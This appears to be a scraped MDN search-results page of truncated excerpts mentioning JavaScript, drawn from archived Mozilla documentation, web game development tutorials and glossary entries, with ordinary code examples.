...IME and SSL certificates solely for the purpose of authenticating employee identities, thus permitting signed email and client SSL authentication but not encrypted email. Another company issues S/MIME certificates solely for the purpose of both signing and encrypting email that deals with sensitive financial or legal matters. Object-signing certificates. Used to identify signers of Java code,
JavaScript scripts, or other signed files. For more information, see "Object Signing". Example: A software company signs software distributed over the Internet to provide users with some assurance that the software is a legitimate product of that company. Using certificates and digital signatures in this manner can also make it possible for users to identify and control the kind of access downloaded sof...
Building a Theme - Archive of obsolete content
t strict compatibility mode for your theme. If you get a message that the install.rdf is malformed, it is helpful to load it into firefox using the File->Open File command and it will report XML errors to you. See Install Manifests for a complete listing of the required and optional properties. Save the file. Styling the Browser's UI with CSS Firefox's user interface is written in XUL and
JavaScript. XUL is an XML grammar that provides user interface widgets like buttons, menus, toolbars, trees, etc. User actions are bound to functionality using
JavaScript. These XUL elements are styled using CSS. If you don't know CSS, it's going to be a steep learning curve, and you may want to try some HTML-based tutorials to start with. The browser UI has absolutely no styling on its own - if you try to...
...x's networking library that this is a Chrome URI. It indicates that the content of the URI should be handled as a (chrome). Compare (chrome) to (http) which tells Firefox to treat the URI as a web page. Secondly, a package name (in the example above, browser) which identifies the bundle of user interface components. Thirdly, the type of data being requested. There are three types: content (XUL,
JavaScript, XBL bindings, etc. that form the structure and behavior of an application UI), locale (DTD, .properties files etc that contain strings for the UI's localization), and skin (CSS and images that form the theme of the UI) Finally, the path of a file to load. So, chrome://foo/skin/bar.png loads the file bar.png from the foo theme's skin section. When you load content using a Chrome URI, Firefox ...
Scratchpad - Archive of obsolete content
Scratchpad is deprecated as of Firefox 70 (bug 1565380), and will be removed as of Firefox 72 (bug 1519103). As an alternative, starting in Firefox 71, you can use the multi-line mode of the
JavaScript console input. Scratchpad provides an environment for experimenting with
JavaScript code. You can write, run, and examine the results of code that interacts with the web page. Unlike the Web Console, which is designed for interpreting a single line of code at a time, Scratchpad lets you edit larger chunks of
JavaScript code, then execute it in various ways depending on how you want to use the output. The featured video tutorial shows a case of using Scratchpad with a page run by a local web server. It is also possible to use Scratchpad over pages opened from a local file system, if permission...
...lable in the Toolbox, alongside other tools like the Page Inspector and the Web Console. This is especially useful in split Console mode: you can use Scratchpad for a persistent, multiline editor, and the Console to interact with the page. Editing The Scratchpad window looks something like this (on macOS the menu bar is at the top of the screen): The File menu offers options to save and load
JavaScript code snippets, so you can reuse code later if you like. Code completion Scratchpad integrates the tern code analysis engine, and uses that to provide autocomplete suggestions and popups containing information on the current symbol. To list autocomplete suggestions, press Ctrl + Space. For example, try typing d, then pressing Ctrl + Space. You'll see the autocomplete box, as shown below: The i...
Using Firebug and jQuery (Screencast) - Archive of obsolete content
Note: This screencast is originally from: http://ejohn.org/blog/hacking-digg-w...ug-and-jquery/ This is an adaptation of a presentation that I gave while at Mashup Camp Boston. We're going to take an introductory look at the Firebug Firefox Extension and the jQuery
JavaScript Library - combining the two to build a reusable bookmarklet that can manipulate Digg Posts and Comments. Click the video link to begin (14:39 Minutes long, 59MB): http://developer.mozilla.org/presentations/screencasts/jresig-digg-firebug-jquery.mp4 Download: Right-click this link and select Save As... in order to download a copy of your own. (59MB) Bookmarklets: In the presentation, I refer to a bookmarklet that you can use to introduce jQuery into a web page. Drag these bookmarklets found on this page into th...
...g-jquery.mp4 Download: Right-click this link and select Save As... in order to download a copy of your own. (59MB) Bookmarklets: In the presentation, I refer to a bookmarklet that you can use to introduce jQuery into a web page. Drag these bookmarklets found on this page into the bookmarks toolbar of your browser, in order to use them. Related Links: Firebug Firefox Extension jQuery
JavaScript Library jQuery Selector Documentation Digg Learning jQuery: jQuerify Bookmarklet If you wish to use Greasemonkey instead of a bookmarklet, then by all means, please do so. You can use the ability to quickly analyze and inspect a page that Firebug and jQuery affords you, using the results to build a Greasemonkey script, instead of a simple bookmarklet. I only really intended this to be a quic...
-ms-scroll-translation - Archive of obsolete content
ks, will take place when appropriate. none No scroll wheel translation takes place. inherit The initial value. The value is inherited from the element's parent element. Formal syntax none | vertical-to-horizontal Specifications Not part of any specification. Remarks This property requires Windows 8 or later. This property has no effect on non-scrollable elements. If your
JavaScript is listening for scroll wheel Document Object Model (DOM) events, the events that occur when the user scrolls vertically will always be vertical scroll events, not horizontal scroll events. Similarly, the events that occur when the user scrolls horizontally will always be horizontal scroll events. This property enables you to change this behavior for vertical scroll events. By setting the -ms-scr...
... ...
E4X - Archive of obsolete content
could be removed at any time. Try to avoid using it. Warning: E4X is obsolete. It has been disabled by default for webpages (content) in Firefox 17, disabled by default for chrome in Firefox 20, and has been removed in Firefox 21. Use DOMParser/DOMSerializer or a non-native JXON algorithm instead. ECMAScript for XML (E4X) is a programming language extension that adds native XML support to
JavaScript. It does this by providing access to the XML document in a form that feels natural for ECMAScript programmers. The goal is to provide an alternative, simpler syntax for accessing XML documents than via DOM interfaces. A valid alternative to E4X is a non-native JXON algorithm. E4X is standardized by Ecma International in ECMA-357 standard (currently in its second edition, December 2005). E4X is ...
...a form that feels natural for ECMAScript programmers. The goal is to provide an alternative, simpler syntax for accessing XML documents than via DOM interfaces. A valid alternative to E4X is a non-native JXON algorithm. E4X is standardized by Ecma International in ECMA-357 standard (currently in its second edition, December 2005). E4X is implemented (at least partially) in SpiderMonkey (Gecko's
JavaScript engine) and in Rhino (
JavaScript engine written in Java). Note: In Gecko 1.8 based browsers such as Firefox 1.5, E4X is already partially enabled for web page authors. To fully enable E4X, the <script> element needs to have the MIME type "text/
javascript;e4x=1" (i.e., have an attribute of the form type="text/
javascript;e4x=1"). The difference between the two modes is that without the "e4x=1" MIM...
Introduction - Archive of obsolete content
<< PreviousNext >> Basic Syntax With E4X enabled, basic XML elements are valid syntax for variables. For instance var element = <foo/>; is perfectly valid in an E4X enabled browser. Variable declarations are not limited to one element, and as with all
JavaScript, can span multiple lines. var element2 = <foo> <bar/> </foo>; Additionally, you can specify all of the normal attributes on elements that you would normally include in an XML document. var element3 = <foo baz="1"/>; Manipulating Elements The goal of E4X was to provide an easier way for
JavaScript programmers to manipulate an XML document, without going through the DOM interfaces. However, many of the same functions that you would use in the DOM can be used in E4X. The most basic is appen...
...to provide an easier way for
JavaScript programmers to manipulate an XML document, without going through the DOM interfaces. However, many of the same functions that you would use in the DOM can be used in E4X. The most basic is appendChild var element1 = <foo/>; var element2 = <bar/>; element1.appendChild(element2); which produces exactly the XML document you'd expect <foo> <bar/> </foo>
Javascript Variables The true power of E4X only begins to come to light, however, when the XML document can interact closely with other
JavaScript. With special syntax, we can assign the value of a
JavaScript variable to be the value of an E4X element. This is done with brace ({}) notation. var a = 2; var b = <foo>{a}</foo>; creates an XML document that reads <foo>2</foo>. You can also use brace notation...
Expression closures - Archive of obsolete content
nction is anonymous. The name is only local to the function body. paramN The name of an argument to be passed to the function. A function can have up to 255 arguments. expression The expression which comprise the body of the function. Description This addition is nothing more than a shorthand for writing simple functions, giving the language something similar to a typical Lambda notation.
JavaScript 1.7 and older: function(x) { return x * x; }
JavaScript 1.8: function(x) x * x This syntax allows you to leave off the braces and 'return' statement - making them implicit. There is no added benefit to writing code in this manner, other than having it be syntactically shorter. Examples A shorthand for binding event listeners: document.addEventListener('click', function() false, true); U...
...t 1.8: function(x) x * x This syntax allows you to leave off the braces and 'return' statement - making them implicit. There is no added benefit to writing code in this manner, other than having it be syntactically shorter. Examples A shorthand for binding event listeners: document.addEventListener('click', function() false, true); Using this notation with some of the array functions from
JavaScript 1.6: elems.some(function(elem) elem.type == 'text'); ...
@set - Archive of obsolete content
Warning: Conditional compilation is not supported in Internet Explorer 11 Standards mode and Windows 8.x Store apps. Conditional compilation is supported in Internet Explorer 10 Standards mode and in all earlier versions. The @set statement creates variables used with conditional compilation statements. Syntax @set @varname = term Parameters varname Valid
JavaScript variable name. ...
...ble name. Must be preceded by an "@" character at all times. term Zero or more unary operators followed by a constant, conditional compilation variable, or parenthesized expression. Remarks Numeric and Boolean variables are supported for conditional compilation. Strings are not. Variables created using @set are generally used in conditional compilation statements, but can be used anywhere in
JavaScript code. Examples of variable declarations look like this: @set @myvar1 = 12 @set @myvar2 = (@myvar1 * 20) @set @myvar3 = @_jscript_version The following operators are supported in parenthesized expressions: ! ~ * / % + - << >> >>> < <= > >= == != === !== & ^ | && | | If a variable is used before it has been defined, its value is NaN. NaN can...
Object.prototype.eval() - Archive of obsolete content
The expression can include variables and properties of existing objects. Description The eval method can no longer be used as a method of an object. ...
...The expression can include variables and properties of existing objects. Description The eval method can no longer be used as a method of an object. ...
LiveConnect Reference - Archive of obsolete content
This section documents the Java classes used for LiveConnect, along with their constructors and methods.
JavaScript-to-Java These classes allow a Java object to access
JavaScript code. JSException The public class JSException extends RuntimeException, and is thrown when
JavaScript returns an error. JSObject The public class JSObject extends Object.
JavaScript objects are wrapped in an instance of the class JSObject and passed to Java, allowing Java to manipulate
JavaScript objects. ...
...
JavaScript-to-Java These classes allow a Java object to access
JavaScript code. JSException The public class JSException extends RuntimeException, and is thrown when
JavaScript returns an error. JSObject The public class JSObject extends Object.
JavaScript objects are wrapped in an instance of the class JSObject and passed to Java, allowing Java to manipulate
JavaScript objects. ...
JavaClass - Archive of obsolete content
Summary Core Object A
JavaScript reference to a Java class. Created by A reference to the class name used with the Packages object: Packages.JavaClass JavaClassis the fully-specified name of the object's Java class. The LiveConnect java, sun, and netscape objects provide shortcuts for commonly used Java packages and also create JavaClass objects. Description A JavaClass object is a reference to one of the classes in a Java package, such as netscape.
javascript.JSObject. A JavaPackage object is a reference to a Java package, such as netscape.
javascript. In
JavaScript, the JavaPackage and JavaClass hierarchy reflect the Java package and class hierarchy. You can pass a JavaClass object to a Java method which requires an argument of type java.lang.Class. ...
...eference to one of the classes in a Java package, such as netscape.
javascript.JSObject. A JavaPackage object is a reference to a Java package, such as netscape.
javascript. In
JavaScript, the JavaPackage and JavaClass hierarchy reflect the Java package and class hierarchy. You can pass a JavaClass object to a Java method which requires an argument of type java.lang.Class. Backward compatibility
JavaScript 1.3 and earlier You must create a wrapper around an instance of java.lang.Class before you pass it as a parameter to a Java method -- JavaClass objects are not automatically converted to instances of java.lang.Class. Properties The properties of a JavaClass object are the static fields of the Java class. Methods The methods of a JavaClass object are the static methods of the Java class. Exa...
JavaPackage - Archive of obsolete content
For example, a reference to netscape is a JavaPackage. netscape.
javascript is both a JavaPackage and a property of the netscape JavaPackage. ...
... Created by A reference to the package name used with the Packages keyword: Packages.JavaPackage JavaPackageis the name of the object's Java package. If the package is in the java, netscape, or sun packages, the Packages keyword is optional. Description In Java, a package is a collection of Java classes or other Java packages. For example, the netscape package contains the package netscape.
javascript; the netscape.
javascript package contains the classes JSObject and JSException. In
JavaScript, a JavaPackage is a reference to a Java package. For example, a reference to netscape is a JavaPackage. netscape.
javascript is both a JavaPackage and a property of the netscape JavaPackage. A JavaClass object is a reference to one of the classes in a package, such as netscape.
javascript.JSObject. The J...
Window.importDialog() - Archive of obsolete content
necessarily appropriate, the Firefox Mobile team designed the importDialog() method to replace window.openDialog(). Instead of opening a new window, it merges the specified XUL dialog into the main window. Syntax newDialog = importDialog(aParent, aSrc, aArguments) newDialog The opened window aParent The dialog's parent; can be null. aSrc The chrome URL of the XUL dialog. aArguments A
JavaScript object containing data to pass to the dialog. Example var dialog = importDialog(null, "chrome://myextension/content/dialog.xul", myObject); Notes The XUL passed to importDialog() is very similar to XUL passed to window.openDialog(), with some limitations and caveats: Only <dialog> top level elements are permitted. Scripts are loaded via an attribute on the <dialog> element, not via the ...
...So be careful. Specification This is not part of any specification. ...
XForms Custom Controls - Archive of obsolete content
ings of the XForms controls like input, output, trigger, etc. We will also show you how to create custom controls that work with the XForms model and are automatically updated just like XForms controls. The purpose of this article is to give you enough background information so that you'll be able to get a good start. To really grasp the following information, a good understanding of XForms, XBL,
JavaScript and CSS is needed. XPCOM knowledge will certainly not hurt. But even if you are only comfortable with a couple of these technologies, we hope that the possibilities outlined below will inspire you to learn more where you need to. Implementation Status The framework we use in the Mozilla XForms processor is very much a "work in progress". Please keep in mind that just about everything we mention h...
...refer to our source code to get some great examples of how XForms controls can be written. This will also allow you to be up to date with our current approaches (often the result of hard-learned lessons) and that will hopefully help you to more easily write your own controls. To get started, you really only need to know the language where you'd like to use XForms (like XHTML or XUL), some XBL and
JavaScript, and the XPCOM interfaces we are exposing for your use. Details Interfaces This section describes interfaces you need to know. There are two main groups of interfaces -> callback interfaces that must be implemented by the custom controls and the interfaces that custom controls can use to access the Mozilla XForms engine. nsIXFormsUIWidget Every custom control should implement the nsIXFormsUIWidge...
Troubleshooting XForms Forms - Archive of obsolete content
Introduction The idea of this page is to collect some solutions to some of the common errors typically made when creating an XForms form. Always Do This First Make sure that you are running the latest release of the extension. Always run your form through the XForms validator. It checks your form for a lot of errors. It is not perfect, but it can spot a lot of errors. Always check the
Javascript Console (Tools,
Javascript Console) for errors. If you get errors there, do not expect your form to work. Troubleshooting Check The File Type Is the page parsed as an XHTML document? Right-click on a blank spot on the page, and select View Page Info. The Type field should say application/xhtml+xml. Anything else, and something is wrong. If your are loading your file directly from the filesystem...
... </table> The XHTML modularization does not allow this. You either have to use CSS tables or repeat attributes, which at the moment are not working properly in the Firefox XForms extension :( Should be fixed by bug 306247 and bug 280368 respectively. Submission Not Working If you are trying to replace="instance" make sure that the document being returned is XML. There will be an error on the
Javascript Console if it is not. On most webservers you cannot use <submission method="post" action="file.xml"> to a static XML file. You need to use method="get", or <instance src="file.xml"> if the instance is always needed. If you are trying to submit to a different domain than the form is loaded from, make sure that you have allowed cross-domain submission for that specific "form domain". Read here ...
RDF in Mozilla FAQ - Archive of obsolete content
taSource("http://www.mozilla.org/some-rdf-file.rdf"); // Now see if it's loaded or not... var remote = ds.QueryInterface(Components.interfaces.nsIRDFRemoteDataSource); if (remote.loaded) { alert("the datasource was already loaded!"); } else { alert("the datasource wasn't loaded, but it's loading now!"); } Say the datasource wasn't loaded, and is loading asynchronously. Using this API and
JavaScript's setTimeout(), one could set up a polling loop that would continually check the loaded property. This is kludgy, and even worse, won't detect a failed load, for example, if there wasn't any data at the URL! For this reason, there is an observer interface that allows you to spy on a datasource's progress. The following code illustrates its usage: // This is the object that will observe the RDF/...
...ent model!) The XUL template builder uses the rules to automatically keep all content models in sync with your changes. In order to take advantage of this functionality, you must of course be able to express your information in terms of the RDF datasource API, either by using the built-in memory datasource, using RDF/XML to store your information, or writing your own implementation (possibly in
JavaScript) of nsIRDFDataSource. What gets loaded when I specify "datasources=" The datasources attribute on the "root" of a template specifies a whitespace-separated list of datasource URIs to load. But what is a "datasource URI"? It is either: An abbreviated ContractID for a locally installed component. By specifying rdf:name, you instruct the template builder to load the XPCOM component with the Con...
Game distribution - Game development
tion of the game itself -- usually adding a manifest file containing necessary information in a zipped package containing all the resources is enough. The Chrome Web Store is also an attractive option -- again, having a manifest file ready, zipping your game and filling in the online submission form is about all that's required. Tizen is also putting a high value on supporting apps written in
JavaScript. Their store is another available option. Native mobile stores When it comes to the mobile market, there's the Apple App Store for iOS, Google Play for Android and all the rest of the competition. Native stores are already filled with established devs selling great games, so you have to be talented and lucky to get noticed. The iOS App Store is quite hard to get into as there are strict req...
...g packages are usually pretty reliable, but you should still test them and be on the lookout for small issues or bugs to fix. Available tools There are various tools to choose from depending on your skills, preferred frameworks or target platforms. It's all about picking the best tool for your particular task. Phonegap -- based on Cordova, this is the most popular tool for building/packaging
JavaScript apps for native platforms. CocoonIO -- the most popular tool specifically for building HTML5 games for multiple native stores. It has it's own performance optimizations for games rendered on Canvas and supports many game frameworks. Ejecta -- a tool specifically for packaging games created with the ImpactJS framework for iOS, built by the ImpactJS author. It provides seamless integration with I...
2D collision detection - Game development
rect1.width > rect2.x && rect1.y < rect2.y + rect2.height && rect1.y + rect1.height > rect2.y) { // collision detected! } // filling in the values => if (5 < 30 && 55 > 20 && 5 < 20 && 55 > 10) { // collision detected! } Rect code <div id="cr-stage"></div> <p>Move the rectangle with arrow keys. ...
...ircle Collision Another simple shape for collision detection is between two circles. This algorithm works by taking the centre points of the two circles and ensuring the distance between the centre points are less than the two radii added together. Playable code <div id="cr-stage"></div> <p>Move the circle with arrow keys. ...
Building up a basic demo with Babylon.js - Game development
Babylon.js is one of the most popular 3D game engines used by developers. As with any other 3D library it provides built-in functions to help you implement common 3D functionality more quickly. In this article we'll take you through the real basics of using Babylon.js, including setting up a development environment, structuring the necessary HTML, and writing the
JavaScript code. We will try to create a simple demo first -- a cube rendered on the screen. If you have already worked through our Building up a basic demo series with Three.js, PlayCanvas or A-Frame (or you are familiar with other 3D libraries) you'll notice that Babylon.js works on similar concepts: camera, light and objects. Environment setup To start developing with Babylon.js, you don't need much. You should start off by: ...
...The first <script> element includes the Babylon.js library in the page; we will write our example code in the second one. There ...
Building up a basic demo with the PlayCanvas engine - Game development
The first <script> element includes the PlayCanvas library in the page; we will write our example code in the second one. There is one ...
... here's the code we have created so far: You can also check it out on GitHub. More shapes Now we will add more shapes to the scene. Let's move the cube 2 units to the left to make space for some friends -- add the following line just below the previous code: box.translate(-2, 0, 0); Now let's add a new shape -- how about a cylinder? Cylinder Add the following lines at the bottom of your
JavaScript code: var cylinder = new pc.Entity(); cylinder.addComponent("model", { type: "cylinder" }); app.root.addChild(cylinder); cylinder.rotate(15, 0, 0); This looks very similar to the code we used for creating a cube, but instead of the box component we are adding a cylinder. It is also rotated around the x axis to show it's actually a 3D shape. To make the cylinder have a color, let's say yellow, ...
Building up a basic demo with Three.js - Game development
l to refer to. HTML structure Here's the HTML structure we will use: <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>MDN Games: Three.js demo</title> <style> body { margin: 0; padding: 0; } canvas { width: 100%; height: 100%; } </style> </head> <body> <script src="three.min.js"></script> <script> var WIDTH = window.innerWidth; var HEIGHT = window.innerHeight; /* all our
JavaScript code goes here */ </script> </body> </html> It contains some basic information like the document <title>, and some CSS to set the width and height of the <canvas> element, that Three.js will insert on the page to 100% to fill the entire available viewport space. The first <script> element includes the Three.js library in the page, and we will write our example code inside the second. There are ...
...rer, setting its size to fit the whole available space on the screen, and appending the DOM structure to the page. You might have noticed the antialias parameter in the first line -- this renders the edges of shapes more smoothly. The setClearColor() method sets our background to a light gray colour, instead of the default black one. Add this code into our second <script> element, just below the
JavaScript comment. Scene A scene is the place where everything happens. When creating new objects in the demo, we add them all inside the scene to become visible on the screen. In three.js, the scene is represented by a Scene object. Let's create it, by adding the following line below our previous lines: var scene = new THREE.Scene(); Later, we will be using the .add() method, to add objects to this s...
WebVR — Virtual Reality for the Web - Game development
This article introduced WebVR from the perspective of its use in games. VR devices With the popularity of Oculus Rift and a lot of other devices in production coming soon to the market, the future looks bright -- we already have sufficient technology to make the VR experience "good enough" for playing games. ...
... - you have to feel you're "inside" the experience. It's not easy to achieve, but it doesn't require realistic images. Quite the contrary as having a basic shapes flying around in high framerate can make a lot. Remember: experimenting is key - see what works for your game in particular. The future of WebVR It's happening -- consumer devices are reaching the market right now, and we already have
JavaScript APIs to support them on the Web. All we need now is a stable specification, good UX and UI, better hardware and more tools and libraries -- and all of that is on the horizon. It's the perfect time to dive in and experiment with WebVR. ...
Async scripts for asm.js - Game development
Every medium or large game should compile asm.js code as part of an async script to give the browser the maximum flexibility to optimize the compilation process. In Gecko, async compilation allows the
JavaScript engine to compile the asm.js off the main thread when the game is loading and cache the generated machine code so that the game doesn't need to be compiled on subsequent loads (starting in Firefox 28). To see the difference, toggle
javascript.options.parallel_parsing in about:config. ...
...ompilation allows the
JavaScript engine to compile the asm.js off the main thread when the game is loading and cache the generated machine code so that the game doesn't need to be compiled on subsequent loads (starting in Firefox 28). To see the difference, toggle
javascript.options.parallel_parsing in about:config. Putting async into action Getting async compilation is easy: when writing your
JavaScript, just use the async attribute like so: <script async src="file.js"></script> or, to do the same thing via script: var script = document.createElement('script'); script.src = "file.js"; document.body.appendChild(script); (Scripts created from script default to async.) The default HTML shell Emscripten generates produces the latter. When is async not async? Two common situations in which a sc...
Desktop mouse and keyboard controls - Game development
upported platforms. We'll look at this below. It's also easier to test control-independent features like gameplay on desktop if you develop it there, so you don't have to push the files to a mobile device every time you make a change in the source code. Note: the Captain Rogers: Battle at Andromeda is built with Phaser and managing the controls is Phaser-based, but it could also be done in pure
JavaScript. The good thing about using Phaser is that it offers helper variables and functions for easier and faster development, but it's totally up to you which approach you chose. Pure
JavaScript approach Let's think about implementing pure
JavaScript keyboard/mouse controls in the game first to see how it would work. First, we'd need an event listener to listen for the pressed keys: document.addEvent...
...y instead of using the codes to compare the input in the handler functions we could do something like this, which is arguably easier to remember: if(event.keyCode == KeyboardHelper.left) { leftPressed = true; } Note: You can also find a list if the different keycodes and what keys they relate to in the keyCode reference page. You can see this example in action online at end3r.github.io/
JavaScript-Game-Controls and the full source code can be found at github.com/end3r/
JavaScript-Game-Controls. Phaser approach As I mentioned before you can write everything on your own, but you can also take the advantage of built-in functions in frameworks like Phaser -- these will make your life easier and development a lot faster. All the edge cases, differences between browser implementations, etc. are...
Implementing controls using the Gamepad API - Game development
plugins allowed us to use console gamepads with desktop games -- either native games or those running in the browser. Now in the era of HTML5, we finally have the Gamepad API, which gives us the ability to play browser-based games using gamepad controllers without any plugins. The Gamepad API achieves this by providing an interface exposing button presses and axis changes that can be used inside
JavaScript code to handle the input. These are good times for browser gaming. API status and browser support The Gamepad API is still at the Working Draft stage in the W3C process, which means its implementation might still change, but saying that the browser support is already quite good. Firefox 29+ and Chrome 35+ support it out of the box. Opera supports the API in version 22+ (not surprising given th...
...API. You have to shoot down the food, but once again you also have to find the type of food the Fridge wants to eat at each point, or else you'll lose energy. The game encapsulates two totally different types of "change" -- good food vs. bad food, and mobile vs. desktop. Demo The full version of the Hungry Fridge game was built first, and then to showcase the Gamepad API in action and show the
JavaScript source code, a simple demo was created. It's part of the Gamepad API Content Kit available on GitHub where you can dive deep into the code and study exactly how it works. The code explained below is from the full version of the Hungry Fridge game, but it's almost identical to the one from the demo -- the only difference is that the full version uses the turbo variable to decide whether or not th...
Techniques for game development - Game development
This article explains how. ...
...xt or binary data actively between your players. This article explains what this can do for you, and shows how to use libraries that make this easy. Efficient animation for web games This article covers techniques and advice for creating efficient animation for web games, with a slant towards supporting lower end devices such as mobile phones. We touch on CSS transitions and CSS animations, and
JavaScript loops involving window.requestAnimationFrame. Audio for Web Games Audio is an important part of any game -- it adds feedback and atmosphere. Web-based audio is maturing fast, but there are still many browser differences to negotiate. This article provides a detailed guide to implementing audio for web games, looking at what works currently across as wide a range of platforms as possible. 2D co...
Tools for game development - Game development
On this page you can find links to our game development tools articles, which eventually aims to cover frameworks, compilers, and debugging tools. asm.js asm.js is a very limited subset of the
JavaScript language, which can be greatly optimized and run in an ahead-of-time (AOT) compiling engine for much faster performance than your typical
JavaScript performance. This is, of course, great for games. Emscripten An LLVM to
JavaScript compiler; with Emscripten, you can compile C++ and other languages that can compile to LLVM bytecode into high-performance
JavaScript. This is a great tool for porting applications to the Web! There is a useful Emscripten tutorial available on the wiki. Note that we are aiming to cover Emscripten in its own section of MDN. Gecko profiler The Gecko profile...
...applications to the Web! There is a useful Emscripten tutorial available on the wiki. Note that we are aiming to cover Emscripten in its own section of MDN. Gecko profiler The Gecko profiler extension lets you profile your code to help figure out where your performance issues are so that you can make your game run at top speed. Shumway Shumway is a renderer for Adobe Flash built entirely in
JavaScript, WebGL, etc., bridging the gap between Flash and web standards. This article shows how to make use of Shumway, and how to contribute fixes and bugs to the project. Toolchain for developing and debugging games How does this differ from normal web app debugging? What specialist tools are available? A lot of this is going to be covered by Will in tools, but here we should provide a kind of practic...
Load the assets and print them on screen - Game development
Gamedev Phaser tutorial. You can find the source code as it should look after completing this lesson at Gamedev-Phaser-Content-Kit/demos/lesson03.html. Our game will feature a ball rolling around the screen, bouncing off a paddle, and destroying bricks to earn points -- familiar, huh? In this article we'll look at how to add sprites into our gameworld. Having a ball Let's start by creating a
JavaScript variable to represent our ball. Add the following line between the game initialization code (our var game... block) and the preload() function: var ball; Note: For the sake of this tutorial, we will use global variables. The purpose of the tutorial is to teach Phaser-specific approaches to game development rather than dwelling on subjective best approaches. Loading the ball sprite Loading ...
...ion code (our var game... block) and the preload() function: var ball; Note: For the sake of this tutorial, we will use global variables. The purpose of the tutorial is to teach Phaser-specific approaches to game development rather than dwelling on subjective best approaches. Loading the ball sprite Loading images and printing them on our canvas is a lot easier using Phaser than using pure
JavaScript. To load the asset, we will use the game object created by Phaser, executing its load.image() method. Add the following new line just inside the preload() function, at the bottom: function preload() { // ... game.load.image('ball', 'img/ball.png'); } The first parameter we want to give the asset is the name that will be used across our game code -- for example, in our ball variable nam...
Tutorials - Game development
Along the way you will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control machanisms, and winning and losing states. ...
...Along the way you will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control machanisms, and winning and losing states. ...
Visual-js game engine - Game development
( + server engine tools + server part of web apps ) -3D PART : webgl based on three.js engine -3D PART : webGL2 based on glmatrix 2.0 -2D PART (new): This is TypeScript based game engine (client part ts). With strong connection with webpack Physics done with (matter.js) matter ts This part is removed from this project. ...
... In no event shall the author of this software be held liable for data loss, damages, loss of profits or any other kind of loss while using or misusing this software. External licences in this project : Webcam NUI control is under : Created by Romuald Quantin. ...
Visual JS GE - Game development
Installation and setup First of all download Visual-js from bitbucket. Extract the package into your root folder. ...
...ges. The actual image objects will be created after you add animation to the game objects. This is good because it is memory safe. VISUAL JS.exe Windows GUI freeware Only for Windows users. Contains the following tools. Visual_JS.exe Version 1.0 -- comes with source editor. ML_SYS.exe -- Multilanguage tool for string labels (smart XML operation; no empty tags). ScriptingJS.exe -- Based on
javascriptobfuscator.com API. MakeLib.exe -- Neede for font bug fixing. Video tutorials Pencil component Particle Virtual kayboard ...
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
o, rather than doing so at once. And both sides can continue to send and receive messages whenever they wish, instead of having to schedule them around each other. When software communicates asynchronously, a program may make a request for information from another piece of software (such as a server), and continue to do other things while waiting for a reply. For example, the AJAX (Asynchronous
JavaScript and XML) programming technique--now usually simply "Ajax", even though JSON is usually used rather than XML in modern applications--is a mechanism that requests relatively small amounts of data from the server using HTTP, with the result being returned when available rather than immediately. Software design Asynchronous software design expands upon the concept by building code that allows a...
...sk be performed alongside the original task (or tasks), without stopping to wait for the task to complete. When the secondary task is completed, the original task is notified using an agreed-upon mechanism so that it knows the work is done, and that the result, if any, is available. There are a number of programming techniques for implementing asynchronous software. See the article Asynchronous
JavaScript for an introduction to them. Learn more Technical reference Fetching data from the server (Learning Area) Synchronous ...
Block (scripting) - MDN Web Docs Glossary: Definitions of Web-related terms
In
JavaScript, a block is a collection of related statements enclosed in braces ("{}"). For example, you can put a block of statements after an if (condition) block, indicating that the interpreter should run the code inside the block if the condition is true, or skip the whole block if the condition is false. ...
... In
JavaScript, a block is a collection of related statements enclosed in braces ("{}"). For example, you can put a block of statements after an if (condition) block, indicating that the interpreter should run the code inside the block if the condition is true, or skip the whole block if the condition is false. ...
Control flow - MDN Web Docs Glossary: Definitions of Web-related terms
ate user data from a webpage form. The script submits validated data, but if the user, say, leaves a required field empty, the script prompts them to fill it in. To do this, the script uses a conditional structure or if...else, so that different code executes depending on whether the form is complete or not: if (field==empty) { promptUser(); } else { submitForm(); } A typical script in
JavaScript or PHP (and the like) includes many control structures, including conditionals, loops and functions. Parts of a script may also be set to execute when events occur. For example, the above excerpt might be inside a function that runs when the user clicks the Submit button for the form. The function could also include a loop, which iterates through all of the fields in the form, checking each one ...
...ls to other functions in the script. ...
Dynamic typing - MDN Web Docs Glossary: Definitions of Web-related terms
Dynamically-typed languages are those (like
JavaScript) where the interpreter assigns variables a type at runtime based on the variable's value at the time. ...
... Dynamically-typed languages are those (like
JavaScript) where the interpreter assigns variables a type at runtime based on the variable's value at the time. ...
Global object - MDN Web Docs Glossary: Definitions of Web-related terms
Code running in a Worker has a WorkerGlobalScope object as its global object. ...
...rowser, when scripts create global variables, they're created as members of the global object. (In Node.js this is not the case.) The global object's interface depends on the execution context in which the script is running. For example: In a web browser, any code which the script doesn't specifically start up as a background task has a Window as its global object. This is the vast majority of
JavaScript code on the Web. Code running in a Worker has a WorkerGlobalScope object as its global object. Scripts running under Node.js have an object called global as their global object. window object in the Browser The window object is the Global Object in the Browser. Any Global Variables or Functions can be accessed as properties of the window object. Access Global Variables var foo = "foobar"; ...
IDL - MDN Web Docs Glossary: Definitions of Web-related terms
t from the content (the HTML code) and you can set it or get it via element.setAttribute() or element.getAttribute(). The content attribute is always a string even when the expected value should be an integer. For example, to set an <input> element's maxlength to 42 using the content attribute, you have to call setAttribute("maxlength", "42") on that element. The IDL attribute is also known as a
JavaScript property. These are the attributes you can read or set using
JavaScript properties like element.foo. The IDL attribute is always going to use (but might transform) the underlying content attribute to return a value when you get it and is going to save something in the content attribute when you set it. In other words, the IDL attributes, in essence, reflect the content attributes. Most of the ti...
... return the string "text". IDL attributes are not always strings; for example, input.maxlength is a number (a signed long). When using IDL attributes, you read or set values of the desired type, so input.maxlength is always going to return a number and when you set input.maxlength ,it wants a number. If you pass another type, it is automatically converted to a number as specified by the standard
JavaScript rules for type conversion. IDL attributes can reflect other types such as unsigned long, URLs, booleans, etc. Unfortunately, there are no clear rules and the way IDL attributes behave in conjunction with their corresponding content attributes depends on the attribute. Most of the time, it will follow the rules laid out in the specification, but sometimes it doesn't. HTML specifications try to ma...
IIFE - MDN Web Docs Glossary: Definitions of Web-related terms
Examples The function becomes a function expression which is immediately executed. ...
...; It is a design pattern which is also known as a Self-Executing Anonymous Function and contains two major parts: The first is the anonymous function with lexical scope enclosed within the Grouping Operator (). This prevents accessing variables within the IIFE idiom as well as polluting the global scope. The second part creates the immediately invoked function expression () through which the
